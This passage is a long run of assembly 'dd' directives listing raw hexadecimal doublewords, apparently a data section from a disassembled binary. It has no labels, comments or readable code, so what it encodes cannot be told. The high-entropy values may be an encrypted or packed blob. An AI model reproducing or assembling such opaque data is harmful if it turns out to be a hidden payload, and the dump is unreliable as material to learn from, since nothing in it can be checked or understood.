0DD939BADh, 5D4DAD1h, 9C028428h, 175BDB7h, 9561ECD6h dd 644BBCD1h, 0B5524CFCh, 2E986820h, 24A9D95Bh, 0C3595077h dd 832DB145h, 4D6E69F1h, 10F1E9ECh, 2924F5A1h, 0AAC21257h dd 160CF686h, 40596B1Eh dd 1607EF7Ah, 0F7004D08h, 0CD8145D5h, 762A234Ch, 5EF50D53h dd 2048B8A1h, 4D5AEFFEh, 0F9943049h, 53578ABCh, 26A019Ch dd 2B811A37h, 0EC2D22E0h, 0B4CB6289h, 5F06AFD5h, 1ECB9586h dd 6ADB55E1h, 168240D4h, 0B2151F6h, 16385D54h, 17BCE64Dh dd 1372062h, 3A620568h, 0FC4F158Ch, 492B2E04h, 0D5170907h dd 1D0E9F6h, 954A98C3h, 89B7B4CBh, 0E985C05Eh, 87887F73h dd 1F541464h, 951DBC09h, 57328076h, 4A1AEFBFh, 49EA5C7Ch dd 0CBC9B13Bh, 0AB0084F1h, 3DCB64C5h, 0E926B340h, 47092515h dd 72881653h, 0C4C650B1h, 5C502814h, 56A94FB1h, 4A69F84Fh dd 805BEFCh, 826F4D26h, 5D29845Dh, 0A6D9CF28h, 0E54A0276h dd 7EE10CD9h, 53BD0069h, 10842758h, 8E040563h, 4D777DE8h dd 57FA85EEh, 0FC38BA89h, 0B0496A7h, 765895E9h, 0E933D9BDh dd 6804ED00h, 98B72650h, 30291584h, 0D72C6DC4h, 3C79FF23h dd 7D2F151h, 0E0D2D508h, 1C77B1C5h, 6DAD2B30h, 25B584F3h dd 0DB0FE226h, 7774CCCFh, 0FE0AAE4Ah, 163FC289h, 2D4BDF0Ah dd 0FA591128h, 0C79C4BF0h, 822C77DBh, 0C42E0Eh, 0D335EF0Fh dd 50EB6954h, 0DD3B4D0h, 3B256803h, 4C8E53E4h, 82A5B134h dd 0D70B6146h, 6299AF02h, 5434A15Dh, 40FE7B22h, 48054A29h dd 417B6EA0h, 1694E8A3h, 81181400h, 0F90B2BE5h, 4A38CE76h dd 1B80FD29h, 250E60E7h, 3D5B24B0h, 2AAFA784h, 6FE9172Ah dd 12FF9B52h, 5F2CCA3Dh, 40B3BBECh, 0C4B2ACD5h, 8EFA6EA1h dd 0F4257EA7h, 27D172A7h, 0A198376Eh, 5582566Fh, 3915D151h dd 0C83119EFh, 8A5C105h, 0BE5918A4h, 0E57C2BD9h, 87339C86h dd 2E55E605h, 8E80491Eh, 9E1F5F2h, 5E50E9BFh, 0D94EBBFDh dd 0C92FD35Ch, 4AE160FFh, 2D10E983h, 0F4300A8Eh, 0CC86E640h dd 8DDD1F6h, 4FE93BBCh, 10A0DC7h, 0A5036055h, 2B3107FBh dd 0CC1308DAh, 0FCD3C503h, 88A14DE1h, 84A1110h, 3088FE3h dd 0BBCF0D41h, 88C1DD08h, 1EAF4718h, 1131207Bh, 0E6C90852h dd 47B72088h, 10F57E0Ch, 0CD1E40AAh, 0BA088B62h, 6CF20348h dd 22DE2010h, 10F15418h, 8C467B0h, 5F046015h, 0C59C067Eh dd 0E0762028h, 10348D33h, 4929313Ah, 8CBF7259h, 18F0B208h dd 884621Eh, 2103D3DFh, 0D2201836h, 9465084Dh, 15A7F383h dd 98F96720h, 8618B437h, 0EF40E17Ah, 88B633Fh, 18588C1Ah dd 0E508624Ah, 7423028Eh, 2059FE06h, 220C0DAh, 7E3520ACh dd 3117CB20h, 56086F14h, 0B799016Dh, 0F68B288Dh, 98B92108h dd 0BA19D608h, 0ADC180ECh, 135A8A9h, 885384FDh, 0E8081011h dd 0A83D10C0h, 389FA618h, 84809CFDh, 518F8164h, 8C3AF1ACh dd 28D5E208h, 7E144045h, 0A05111DFh, 5464D444h, 80B29CC3h dd 0D383730Ah, 9008106Fh, 0E521875h, 80BC9A28h, 10C4AE15h dd 0A2069232h, 574408FFh, 20C2632Ch, 810B71Ch, 0B61803DFh dd 92442085h, 80544080h, 6D8005C7h, 0DBF98060h, 437D08C6h dd 0FF40A819h, 6E18C480h, 9AF3055Dh, 85CA44Ch, 0A3A4A89Bh dd 0F10CAE2h, 0F8B2959Ch, 8B6DA19h, 69FC5273h, 0DEB80849h dd 3A94C02h, 101074C1h, 1B10977Ch, 7F5918D4h, 0C430B408h dd 6F70518h, 20105CEFh, 2620941Eh, 0D92C208Eh, 20623520h dd 2349ED72h, 61161808h, 0CC562218h, 0B008A179h, 40537740h dd 0B8650CBBh, 0CC468530h, 3118AC04h, 33081ADCh, 40D60138h dd 9CC5703h, 4D1CA23Dh, 0DD98494Eh, 5AE01088h, 0CB9C308h dd 0AB08F238h, 90183F66h, 388949D9h, 0FC87F515h, 0E9202320h dd 92C32091h, 182CC431h, 0EB027163h, 0C861E8A2h, 9DC884Bh dd 587022ECh, 702C02C7h, 298DA02h, 0C04A31C4h, 0B3B6B422h dd 27C9F02h, 6802A609h, 4A05057Bh, 95ACACF8h, 0B319EC29h dd 2060081Bh, 0A499E894h, 9E57C2Fh, 0CF275523h, 3B448EC7h dd 47001D52h, 0EB02752Ch, 0E896513h, 60BAB9B9h, 8F4401D4h dd 0B490240h, 8BF775C9h, 408FA4C3h, 0B9F003DEh, 33310163h dd 0B10FC0C0h, 2C30614Fh, 0DE8768ACh, 0DF6A1A7Fh, 1E7BD46Ah dd 6133753Eh, 0F8C6B301h, 3F50BC70h, 1416CE29h, 71319756h dd 80036B5Eh, 0D6444E0Ch, 0C14D4536h, 0FAA47810h, 0DA816A1Fh dd 6BBC5467h, 552DE801h, 0E238E642h, 4FD3F155h, 2980012Dh dd 6F91022Dh, 0D95E358Ch, 0BA754965h, 93A65C18h, 3ED6E1D5h dd 7A101AA3h, 66AA4BFFh, 0B804087Eh, 37E95517h, 0E580C6BFh dd 79B0F603h, 0F1524845h, 0EB74C33Fh, 685A0AD7h, 60A82880h dd 1E0F5FBAh, 0E2812700h, 6A0815F9h, 25B80250h, 563A7F33h dd 161A4F7Ch, 6FB080DEh, 16BA8E70h, 0A35BDE31h, 0B39B58F6h dd 6DBC05BBh, 0BDDA31D5h, 20FA96A9h, 0B5E95308h, 1E80D540h dd 4C5162C2h, 0E7D3D0ACh, 0C641F700h, 0D9880F35h, 0C119DE44h dd 3ED48CA4h, 1FB82B57h, 612BBA4Ah, 0BB80500h, 0B12D7DFAh dd 4BF30C16h, 4B71D0F0h, 0B0B5F8B0h, 17ED64ECh, 0B8C38324h dd 4BD386FCh, 0F3810206h, 998BC55Eh, 68047F54h, 0EBA257FFh dd 96DBD5Fh, 0E646C448h, 0B2D51AEh, 0AA14DB2Dh, 225EB763h dd 0B28E9590h, 0E55F5809h, 0B8923CCAh, 211D4EA1h, 435DDDFCh dd 4ECEF181h, 2A16D8F9h, 3E80088Ch, 617027EBh, 5A685620h dd 6A4247Dh, 5B0AAC64h, 69F4B2BAh, 28C1C50Bh, 5C601C2h dd 3EE91E4Bh, 5FBD000Ch, 11DC1879h, 30DD224Dh, 0E918EE7Eh dd 3538CD57h, 0C1F83EBEh, 0F84E96C8h, 85462F72h, 802EA77h dd 0DE014AE9h, 1665EF23h, 0ECED298Dh, 2DD03EE2h, 5A337891h dd 0AD571040h, 4ED7CAAEh, 75ACEF44h, 18BC41BAh, 4029DC59h dd 473D629Dh, 9E9494Bh, 3CE8BE10h, 0A840BE05h, 441CBAFh dd 4C81FBE4h, 3F7FE0C3h, 0F15C5F4Ah, 3853C944h, 0F83BC1B7h dd 5A3D5B3Ch, 4F0D6801h, 3B86ABE9h, 291240A6h, 805BFDD8h dd 2FC919C8h, 0E77AFB01h, 0F0B01750h, 0B6C056F9h, 0C5EE80C9h dd 1495F5E0h, 0E830310Bh, 7901527Ah, 2456267Bh, 14693E0Dh dd 705DBFFh, 58C5080Ah, 51E63FFEh, 45281428h, 0F505DCF7h dd 2D0917B7h, 0CF20DF4h, 8E2C15Eh, 55010606h, 18F96856h dd 1C821457h, 8A0F04E6h, 6B12D063h, 0FC40A9EBh, 4E2CBAEEh dd 0CEE29559h, 0C527827Fh, 0BCB8F468h, 8626ECC5h, 0FD249295h dd 5BA0A5E2h, 0FFCCEB81h, 213C060Fh, 6F836D9h, 0E6C2701h dd 22CF1EE9h, 170805EAh, 91AE2F7Bh, 6A5C9CCAh, 67ECFB7h dd 226802EDh, 13207D16h, 315817C7h, 7F8EF6D0h, 9D28762Ch dd 16CEF740h, 96796092h, 3E87882h, 1E580CC0h, 31E91C69h dd 0E59F8F1h, 81E28006h, 73037ACBh, 76F29D35h, 8F51770Bh dd 0F7BFE205h, 3564F2E2h, 975D7C0Bh, 52125C4Dh, 24F21F61h dd 67F86843h, 20A39EBDh, 489DFC47h, 3E55D624h, 469A4044h dd 6B7F9645h, 9AC0985Ah, 9D8E4F18h, 6499304Fh, 0C6BB2CCBh dd 30F00211h, 0A0E97FE0h, 7410FBA9h, 0EA836065h, 2D70684Eh dd 3AE21F94h, 0DE79CC9Eh, 0FC588844h, 0E6330DBh, 0FE08EEC1h dd 107963E4h, 94C367BFh, 0E88D4FBBh, 6BB70036h, 0C981683Eh dd 0BA3D1D55h, 0CDC18011h, 0F4B6541h, 43EA8317h, 0FD025EBh dd 1258694Ah, 240149B3h, 60793550h, 0C9D466C0h, 2AFD2473h dd 1F9B884Ah, 890D6027h, 7A5354E5h, 5DF437E9h, 26C9EECEh dd 0C5801CA1h, 8E91F8DEh, 0D38011DFh, 3059CC88h, 0CFE3E4DCh dd 866FF608h, 6268CC1Fh, 0B1955D46h, 46305603h, 32770030h dd 7F65CE81h, 0F7390A1Dh dd 8DE30D6h, 92100DE9h, 6AC20427h, 0C04F197Ah, 14023EAEh dd 0B1F343FFh, 0E9324CA0h, 4ECACE38h, 941264BBh, 82CFBE1Eh dd 686CE90Ch, 0EB582864h, 18E410D9h, 0D9BC5B3Dh, 6732851Dh dd 0C736DD4h, 47FBE915h, 1B0F0D10h, 463C8E1Ah, 0C4692B8Bh dd 0A91C8730h, 5268C2DCh, 16AFC635h, 0FF7DD2E9h, 0E93BFA39h dd 83C5B4A5h, 9D6693E0h, 9F4FCF54h, 0DFD389E7h, 0FA087A84h dd 1763372Ch, 0B1DEB6A3h, 2EC1CD29h, 455FADB6h, 91E15695h dd 0C9DD8833h, 0E6A9EFECh, 6AEBE158h, 0FD04B5A1h, 74570CC5h dd 12108EEh, 0F694A937h, 0B6CEB101h, 4DC0C2F9h, 0FFFCA52Ch dd 0BD027F94h, 7F8205B9h, 39F566A0h, 0A70964BBh, 11228DE9h dd 54E46D09h, 0B6A2F6B4h, 0AA5A123Eh, 854A72Dh, 5118A3AAh dd 73ACE56Bh, 0A84F5E29h, 6E4312F7h, 0CBC06EC1h, 63F1B108h dd 0E4348EF9h, 0AABD0655h, 0A5422935h, 159ECD02h, 60457173h dd 0FADFE476h, 9C5897FDh, 0ADE98928h, 0F589CE50h, 831344D2h dd 7C4E00BEh, 0C32973EAh, 6C9DBCAEh, 89DD85D2h, 48845D54h dd 60841809h, 0C0287174h, 427A2E0Ch, 0FC2FE916h, 8B9B79A9h dd 0EA7E2DA6h, 4805C363h, 23014C43h, 860F10D3h, 0CCC6DE96h dd 8AA9E918h, 2F685010h, 0C8126B4Bh, 8252E95Ch, 4A65F518h dd 667A579Dh, 0CEE86729h, 9F4FBFA8h, 0B465848Ah, 818E98B8h dd 89B9295Fh, 3592EFD2h, 0EBC8FD4Ah, 74C00AB6h, 0ED80CDFEh dd 5FEBE01Eh, 558BC59h, 7FFAE9BEh, 3CE4A0B4h, 307B4061h dd 88384796h, 5B5B871Ch, 17C44DF2h, 8ED8EEF9h, 164B598Eh dd 0AA4F2105h, 2606AA78h, 2CFCAE70h, 16CC59CBh, 0B6980002h dd 0E97E3C55h, 2CC48C20h, 0B2FE31h, 9BD8D4F6h, 0F55801DCh dd 8855B282h, 2F2CF93Ah, 12E07636h, 0A2EE2081h, 0C6DFDFCEh dd 9B19DC2Eh, 8B454C0Ch, 315C5187h, 0CE358E5Bh, 0D302208Ah dd 0F7016BF4h, 0DEADF0C5h, 0A115807h, 16AAED94h, 0BF103E20h dd 9A0BA672h, 0D8743D4Fh, 2177278Eh, 31443174h, 596161AEh dd 5D1E8402h, 8DAB1468h, 26ED3AA3h, 0EAEF44B7h, 0A35B67E7h dd 0B28AD24Bh, 0FE0A21D2h, 0FF8004A8h, 0A0261E6h, 55565EC8h dd 0F75D58D6h, 0C20EDD52h, 88397BE9h, 5D72C1ACh, 512726E5h dd 5694CC08h, 695759B7h, 0CD09DBF0h, 7567C957h, 8B0F7300h dd 0E3DE38D2h, 0CA882687h, 0DE835055h, 588E7246h, 681690DFh dd 0F218529Eh, 45BC95Ah, 4F0ED65Dh, 57491BC6h, 6568F101h dd 0C8893A72h, 7C54420h, 36C34C96h, 0ED0A6F29h, 1580508h dd 3D36C0D5h, 79151151h, 70F3AEE9h, 52272790h, 0B2F7228h dd 3C0473C8h, 22F6CD03h, 866CAF24h, 1C2D8446h, 0C336EA80h dd 0DCB4DBC2h, 0A3F9D4DBh, 96102C5Fh, 29E3280Bh, 0A3E5DDEEh dd 8D971A5h, 0C100F721h, 840F04E0h, 0A59E52h, 0C755E405h dd 0E9E60191h, 5C61744Dh, 6B680BC0h, 0D5AF302Ah, 0A00B0955h dd 0CA46EB29h, 3DE3124h, 0D8EEB373h, 96285111h, 0CF07C694h dd 2455B907h, 28A33E0Ch, 0C53702A0h, 5ED860DAh, 3D513341h dd 0DA84098h, 655B38CFh, 0B583F4B5h, 99205BCCh, 2AD020CAh dd 0E551A560h, 3B2F286Dh, 578D139h, 0E43BDF5h, 2927AF36h dd 0C5281043h, 5D97710h, 3C115087h, 6248EBC0h, 0E9570CD5h dd 495895A8h, 0C65455ECh, 9758F7DAh, 11613114h, 7DE0BAC7h dd 0F0E882FAh, 764BF968h, 7FC4C0F9h, 61F0524Ch, 617A12DBh dd 0D57FF5Ah, 0F4EF79BFh, 33D2DFF3h, 194B09AEh, 9E5E5D62h dd 8E538F40h, 0EB310508h, 0B877DCE9h, 0B7E1E73Dh, 0F672013Ch dd 6EB52E78h, 0C9EF9F73h, 1D20DD05h, 0FD32F44Bh, 7E627095h dd 819A2A56h, 31C92AEFh, 0EAD89DDAh, 7A062204h, 29FE5E29h dd 96BB3C61h, 0EF0309FEh, 0C6D8A02Ch, 42E79B51h, 541B9AFh dd 0EEC74021h, 78BF6780h, 28CE6864h, 3B272608h, 0B5EE98Dh dd 0EBD39C6h, 0F525F8C2h, 0E16C2A90h, 0C66967B0h, 0E807E3BEh dd 907DEE63h, 0FE03589Ah, 0B4453C84h, 0F513AC9Eh, 5BEE04Ah dd 0AEF301A7h, 8A4E4DCBh, 0FBB25B60h, 0E9F86637h, 0BEF51E05h dd 40E428CCh, 314FAD4Ah, 0AEB423ECh, 0E38143A2h, 0F8215D47h dd 2B02DDEFh, 66E9154Ah, 5E6CDF4Fh, 0CC61CE26h, 431B4B40h dd 9659867h, 67DB93Fh, 0F379C6D4h, 164B8420h, 51D752h dd 0CC775F19h, 5025E934h, 68F110E5h, 0F5384116h, 0FE52292h dd 0A5CA1BF7h, 10C70956h, 0C88387E2h, 3A2DD8A7h, 11BE667Ch dd 0D95A1C15h, 6493DE50h, 0EC345D44h, 6F3F847Ah, 8232CBE9h dd 985DBFA7h, 384DBEF3h, 0FAA601CEh, 4A9402CCh, 9F4063F5h dd 130B32E2h, 0A0E3C11Ah, 822CF263h, 280CC130h, 21C5D17Bh dd 63F37F11h, 0E707541Eh, 5A8AFFDBh, 35016439h, 0B3648F49h dd 0B2F4838h, 0CA52BA5Ch, 61BD513Fh, 2E3E3C68h, 13754031h dd 0A1C30F64h, 6C685D87h, 4C5FEA4Eh, 0EB14DCEDh, 8D20BF6Ch dd 870F0C64h, 510C42D0h, 72F3FFA0h, 894BE718h, 9DCA2158h dd 47BF0AD8h, 8C48241Ah, 385956F4h, 0D0F72560h, 3ED2CD05h dd 7213FABAh, 0B9CC2051h, 0DA2C0A5Eh, 0B703D203h, 6607C45Dh dd 4073286Ah, 792EBB07h, 53AE4B41h, 0D3285744h, 0C32C81FFh dd 55F53E47h, 0C81026D7h, 977D2512h, 2C01694h, 1A850F60h dd 801EC3F0h, 927295CBh, 0D5A6A21Ch, 0D2F62B9Dh, 80F24CD0h dd 0DBB0CCFEh, 4D0ED265h, 40802280h, 9A524C6Dh, 42E0C20h dd 0A2190125h, 213AEA9Bh, 4402E247h, 0AFAF95A0h, 8B483093h dd 0B6E8DD36h, 2EBFFA7h, 0E94111D9h, 4829DB42h, 1DBE3077h dd 0CC685252h, 13AD7717h, 0B2D67A6h, 0B2DC2D89h, 0CB43C00h dd 2D2AA705h, 405E156Eh, 0D853B318h, 9DE850D1h, 67205B5Bh dd 883430B0h, 0A0B7DA8Ah, 0EE430CC8h, 9C029E68h, 20F42D2Eh dd 0C3E5D7D2h, 66685882h, 6529546Bh, 0A48EC512h, 2A1FFE1Eh dd 390948B9h, 0E191DD79h, 1B77A2Dh, 0B6F5416Bh, 0DC0525D8h dd 89E45AFEh, 0D5776ABh, 0B7A7295h, 0CBB6E950h, 6EF8CA2h dd 34F66B60h, 0C261330h, 0F131720Dh, 0D688EB03h, 775BE97Ah dd 2DC98134h, 56B76960h, 0ED5F8235h, 25C705A4h, 10FF41B0h dd 5B26078Ch, 302429C1h, 3C4A601Ah, 0F2297C02h, 851EE0E9h dd 80FE5A97h, 75D96867h, 48CAF283h, 78FD89CBh, 0A8C4A55h dd 986C073h, 0C007B252h, 44A2E9BEh, 7C766A79h, 0C9426C67h dd 1F89DD73h, 0ECA28509h, 0C1DDC888h, 0CF20BA6Dh, 0F706C9C9h dd 6AEDA13h, 9425E9F6h, 0FFC21E81h, 92546DDDh, 0DE3F61EEh dd 45762D1h, 72647F03h, 28A41F80h, 0E9763B80h, 812A0AA4h dd 595B08CBh, 5316Ah, 115A6F0h, 0D3E9DF0Bh, 5284980Ah dd 0B4500153h, 10EC80CFh, 4B7DD20Fh, 0EFF4C8ACh, 9EE74C88h dd 83845D20h, 0D808A707h, 0F7C1BB77h, 46218827h, 3F3581A4h dd 0FB1A12C8h, 0E9FC3626h, 0C91ABEF8h, 0D9005110h, 6E9F389Dh dd 8F8E619Dh, 90F7D580h, 894CB748h, 8630F97Dh, 9AC31BEAh dd 6AA03D5Ch, 0BD276798h, 0D3E0D7C2h, 0EB309E98h, 0E9490694h dd 0D8F8AADBh, 947FF1FFh, 423F988h, 5FC70574h, 0F9608901h dd 0D2812B42h, 776BF107h, 0F1A9B42Fh, 0ADFC2F2Dh, 4E2B4DC9h dd 0BF574C40h, 1D66C20Bh, 34565406h, 0E7064606h, 1F90E207h dd 11A657C4h, 7757B800h, 0EBA6175h, 2737A54Ch, 0B50F09Eh dd 154911Ch, 882C0D0h, 0C180A864h, 0EFCC5331h, 39E070E8h dd 17050507h, 8021DC73h, 0F38143A6h, 0EB182D0Bh, 4058434h dd 3E6CA4D1h, 5025A2Dh dd 587DC512h, 566BE1D6h, 0F07842DCh, 82CE8100h, 0EC944872h dd 0F7734077h, 2604D26Fh, 2AE5ED64h, 95BD59F6h, 0AA301058h dd 0D12D1082h, 39C52713h, 1504994h, 2E17A483h, 4A4130EFh dd 77756856h, 0EDFE579Eh, 0A7282D13h, 952A864Eh, 7A0BAA46h dd 0AB3E6E4Dh, 92A80926h, 0DCEE00A3h, 0C151C679h, 0E649FACAh dd 0FEF06A34h, 3CFB02F6h, 76E93AF3h, 0BD1E9FD0h, 5ACF47B2h dd 0F01D6545h, 0F3218CAAh, 0EEB987FDh, 0CE94515Dh, 5E5E71A0h dd 0B4EAE050h, 38A76F00h, 0EC0565B9h, 0C4489529h, 0EC9C4649h dd 83D88BBFh, 3B717E3Dh, 0C61B10B3h, 3EECFCE9h, 9B4E901h dd 0EFF03D6Fh, 2C4E12AFh, 1739D468h, 43DAC08h, 0C3A4E957h dd 6DB38B1Eh, 0F5922871h, 0A85F6BB0h, 4B93688Fh, 34DFE333h dd 0DEAE8303h, 5D8F16AEh, 0F93BD6CDh, 545002A7h, 7F8A37E9h dd 5F4A58E6h, 0C83149C1h, 0F2F52FDh, 83A65DD4h, 452AAD0Eh dd 0ED81453Dh, 0F647A727h, 83F550BAh, 0EC259897h, 6CC7055Bh dd 164418B8h, 0B04AAC0h, 74E24E69h, 0A9E6809h, 2B0117Bh dd 95555DE9h, 147BEC94h, 0AD835CBCh, 0B020E55Bh, 302129F2h dd 0B5186D8Dh, 7A60A63Bh, 5D7B110Ch, 0C3AC8F8h, 8437C58Fh dd 1EA0260h, 5ECFCD8Bh, 0B1A9FACh, 1420445h, 8FF10EEh dd 20E99154h, 5C4B446Bh, 0B0173AA9h, 1B1A7EEh, 29ABB951h dd 0E1F03AD1h, 9F3D3FC8h, 0B7890F86h, 97F88927h, 17FD4A09h dd 8BB68249h, 795855D5h, 39F17F16h, 0B5309CF5h, 1119918h dd 0B10412Bh, 66BE8353h, 1F3B171Bh, 9060CEEh, 2B828927h dd 0BF946h, 4472A4BEh, 0C329331Ch, 23B0EB64h, 7C97CF32h dd 69EF013Bh, 2E172563h, 0E7D09B87h, 735CD430h, 0B42F69E9h dd 0E97841DEh, 1212F08h, 0A3839E71h, 0F74EF552h, 7222DD79h dd 407B5070h, 0E678DD89h, 964191F4h, 0B04D82EAh, 0A4405509h dd 6B2785F9h, 1290F2A8h, 30015332h, 72BF357Dh, 6813487Ch dd 93FC41B8h, 0CE00B8DAh, 59E5086h, 7DDB60B5h, 0FA612EAFh dd 4CB2108Fh, 1C60048Fh, 0B1046287h, 68B8166Dh, 1CB1A24Eh dd 4F386753h, 0DEDBF6BDh, 143BDA25h, 555A2A05h, 91E91273h dd 0EB084032h, 36F11016h, 256AF99Fh, 792DB3C7h, 4C02911Ch dd 5EFB599Ch, 46C23E1h, 0FE2D1184h, 662FBF3Dh, 0CE95506Dh dd 2C5995C8h, 9D015EC5h, 56CF7C47h, 6760C82h, 58557BB2h dd 420882CBh, 5C84240Eh, 8BDF39B9h, 23148126h, 83FD99Dh dd 0EB81ED02h, 105034D0h, 9F4BE8ECh, 5D699273h, 209D5E1Ch dd 4A7EB293h, 38050239h, 50E74BA1h, 0D3588AABh, 98BB0B9Dh dd 125854D0h, 0CC596A68h, 0C74D2A15h, 58C112A1h, 33CAF7ACh dd 0B5C488BCh, 0BB534700h, 24A02D37h, 80B82125h, 4B01C4C7h dd 0FA4E295Eh, 0AB1FECB6h, 0C02EB83Bh, 0B652025Ch, 33DD306Dh dd 5BFEC09Dh, 0DFD65CF6h, 57ED004Ah, 0F209EC68h, 27AECFFh dd 0EA052D92h, 80627CB6h, 84B307C3h, 0D653E2BFh, 21522DEBh dd 2F57924h, 0B10C40EAh, 0A132E8B9h, 3C67B337h, 0AA681D25h dd 0E4276801h, 5FE61846h, 528C2863h, 9F37E80h, 29388D02h dd 0DC607BEAh, 34CAF10Dh, 281CBE80h, 67D5C77h, 7F795DDEh dd 0E2F5033Dh, 0F04CFE51h, 0D254F601h, 0ED37FA08h, 1228D5A6h dd 0EC68E9DDh, 0B9B95A42h, 0E5A980B4h, 37138805h, 7EC52EE9h dd 84F245EFh, 0F495BAFEh, 0C6A92F18h, 4058B0FBh, 172B68F2h dd 83178B38h, 97B65640h, 1D54CE80h, 0B908E6C0h, 0C1E97585h dd 0F275886Bh, 6FC32E16h, 811357C4h, 0AFC19184h, 656817CDh dd 7E006248h, 0C14C7A69h, 599707E1h, 6FBB0202h, 4775B41Ah dd 0E24C3064h, 395D1D1Fh, 8EF2858h, 80E4E927h, 2C685FFEh dd 218BF10h, 44BB2F9Ah, 0D8EB5844h, 19F86B8h, 1C772141h dd 98186D72h, 5060213Eh, 1DF4BDA4h, 0BA61F40Dh, 0C17A0B3Ah dd 2403DB02h, 403FC35Fh, 9255BD63h, 19F39796h, 18A55E10h dd 0CF4E5D5Ah, 0C33B5E4Dh, 404E48A5h, 21A511A2h, 2FCCB174h dd 0B42B1B39h, 0A25B1207h, 0D6E483B9h, 7B0B8A32h, 8072A07Dh dd 396EA423h, 7FCDEC60h, 3BC50170h, 5A68D5F7h, 22372E5Bh dd 88CA9074h, 255A357Bh, 9D0BFECCh, 1E248202h, 0F3E9A075h dd 97C8B28h, 8DE9536Fh, 3FB7CD61h, 76276F6h, 0DD058E9h dd 6C17F198h, 4C033833h, 2F2D282h, 2EF1C751h, 0F40077Ah dd 0B2276EECh, 750F866h, 2935D90Dh, 17C6E5FEh, 0E937F408h dd 0DF11B92Ch, 205822A5h, 9BE777EAh, 82685000h, 0B6593D38h dd 48625A4Eh, 8266797Dh, 0D4508F2h, 8C7585D5h, 0A83BA7A1h dd 0C16E1BF9h, 92D7F0C3h, 0B8B75B4Ah, 78E679A5h, 54805818h dd 0BA50BB8h, 39E9AA76h, 0B241EAE2h, 9240303Ah, 0FADDC34Fh dd 0E24B2F2Ch, 87AFDDC8h, 0F36440DCh, 258898A0h, 0FA7958E7h dd 452CDE25h, 0ACC8BE2Fh, 502E496Ah, 0C842E600h, 0C18A0F75h dd 0A75B7E62h, 0A214FF86h, 55107B5Eh, 27E704CDh, 78D93B1Ch dd 0E9A07278h, 99CE769Ah, 1793E6C2h, 0CC2BBD42h, 0B0D3A204h dd 0D1B758B2h, 42424A65h, 41743D0Ch, 0C0125F45h, 55643A87h dd 87A872FEh, 87EF5377h, 0AFC06E9h, 759A2D22h, 0E00F63FDh dd 529EE9DBh, 793C1E4h, 0F247C53Eh, 2A785969h, 42B314C1h dd 15F1320Ah, 6891003Ah, 69B5197Fh, 454A5A2Ch, 0EFC241ADh dd 12099EC8h, 5454E9D3h, 4B751CA9h, 219E3505h, 0A122EF7h dd 0F9565912h, 5644F537h, 98CC20F9h, 0EDE91350h, 0A869241Bh dd 16163257h, 0AB940B45h, 2DFF4C9Dh, 13D15AD3h, 8B91A517h dd 982FE870h, 2145F996h, 70EBBC24h, 0B754E058h, 1AC95B79h dd 36C7512h, 9ACD35E2h, 8E817689h, 2A9607BFh, 6491FD42h dd 0E777D1F6h, 46C22D4Ah, 2E60754Ah, 777C797Fh, 339FB42Bh dd 2AF2913h, 0EB48FF4Bh, 0D035EA85h, 7C0A0514h, 7C6B8725h dd 1C0720F9h, 2748A2E9h, 0A4AB1CDFh, 0E7EA2752h, 5780A273h dd 382ED8BFh, 0E94F0B5Fh, 0D422FAF9h, 442D2180h, 2BA18441h dd 5FF07E06h, 2F02109Ch, 0C16F0518h, 56ECCFBBh, 0C1014E62h dd 52A16E6h, 0D00980A1h, 0E9B36C2Eh, 3A9A0F71h, 5818F895h dd 372057D0h, 6231D2BBh, 66000B13h, 9FF3CF31h, 0C20BFE08h dd 0A4571EE8h, 5F4C20FCh, 0ACA85D5Bh, 63F16FADh, 12966D33h dd 0BABBC461h, 69AEC7F0h, 1C82466Ch, 0C520999Eh, 9D561CBEh dd 0AB6B7B82h, 0C0E5C102h, 0BEDF525h, 1A3C750h, 0A44978Eh dd 0CB3DA81Eh, 70D0AB70h, 0FC6B22D4h, 3F1EDDEEh, 1CB3D78h dd 5AA1DC6Dh, 0C268C9D9h, 15012h, 200CAC77h, 0F45FF8E8h dd 0A8BE1756h, 293F0915h, 0D720FB79h, 0E9580C80h, 8559C432h dd 0A6A283EDh, 4FC29DD7h, 56BC9A1h, 7F0333ECh, 0EBC14BBAh dd 9F1A428h, 0BD84CE7Eh, 0E9990775h, 0B51C14A6h, 0F0175E5h dd 7B7168C8h, 7F120A76h, 94DCF8E6h, 6D610043h, 0BB530BBAh dd 68120064h, 7FE3810Ch, 2C60F133h, 455ACA0Ch, 9C909D72h dd 66265016h, 100326Eh, 9D410A5h, 645B58D9h, 10E90E2Ah dd 3BE0868Bh, 0AF8EBC47h, 4E0D165Fh, 0C6BAC029h, 0F82D0231h dd 85365C0Ch, 0A99822E9h, 58AE4FA8h, 35CF2C4Eh, 0D37A4B25h dd 0C90B0950h, 0E817B982h, 0C8926802h, 5A80E9A6h, 0BD192033h dd 8E46B23h, 5DEF3102h, 40269505h, 70BCE92Dh, 292EE174h dd 0F5F430F3h, 80701297h, 0EAE3DB00h, 0C9051C0Dh, 0AD141406h dd 42F6200h, 17FEE903h, 40BD6FB2h, 9DE7988Dh, 9AE2CA76h dd 0A7E4540Bh, 0C5B0EF46h dd 234A6D2Fh, 0C957030Ah, 7125DCD6h, 4D27817Ah, 2BCC3FAFh dd 806E54B6h, 0C1404528h, 0C99F50C7h, 0BA123513h, 46160F21h dd 5AA27085h, 2B1B678Dh, 5BF89FE0h, 0E8283113h, 0BB161571h dd 4BF0530Eh, 0C4EB56C7h, 5E8165F9h, 0C204071Dh, 5BD5FA43h dd 52530CDEh, 56B55533h, 2E9D022h, 590A65B4h, 3600B955h dd 895D7A71h, 7D5B8CDh, 926BC6EDh, 0D216FE2h, 40078B4Fh dd 0FF5529D9h, 0F5095C74h, 7F7BCCE9h, 0C7EF8919h, 36BB1000h dd 0D10CA309h, 0B64CF8E3h, 82BF004Dh, 0BA746320h, 0BA0B866Ch dd 0D189275Fh, 4184BE76h, 0EFC26519h, 8A915F55h, 2ECE7043h dd 0F38149B6h, 73DA5DECh, 0D63B21h, 0C0C7C657h, 0D8285917h dd 0EF2F01BFh, 2F1A45E9h, 7180F3F2h, 0F742ED4Dh, 4C40DF5Fh dd 5F5737CFh, 46E90B72h, 4755010Eh, 81E02D5Bh, 9FB688E9h dd 25A7D425h, 1F69028Fh, 2AD24A43h, 0CEF7F693h, 61E6A009h dd 90442120h, 0AA22B0E3h, 99F480FAh, 0FB2F7539h, 943FD320h dd 46908239h, 4041280Bh, 8A8F74C4h, 4C35E24Fh, 7EDF06AFh dd 0FC2D8521h, 848AA0B7h, 25719C74h, 5B1ACA29h, 794576F4h dd 597B3EA7h, 7158980Eh, 946CE4Bh, 221B09E9h, 5DE48230h dd 0D3697B99h, 0E54A3E50h, 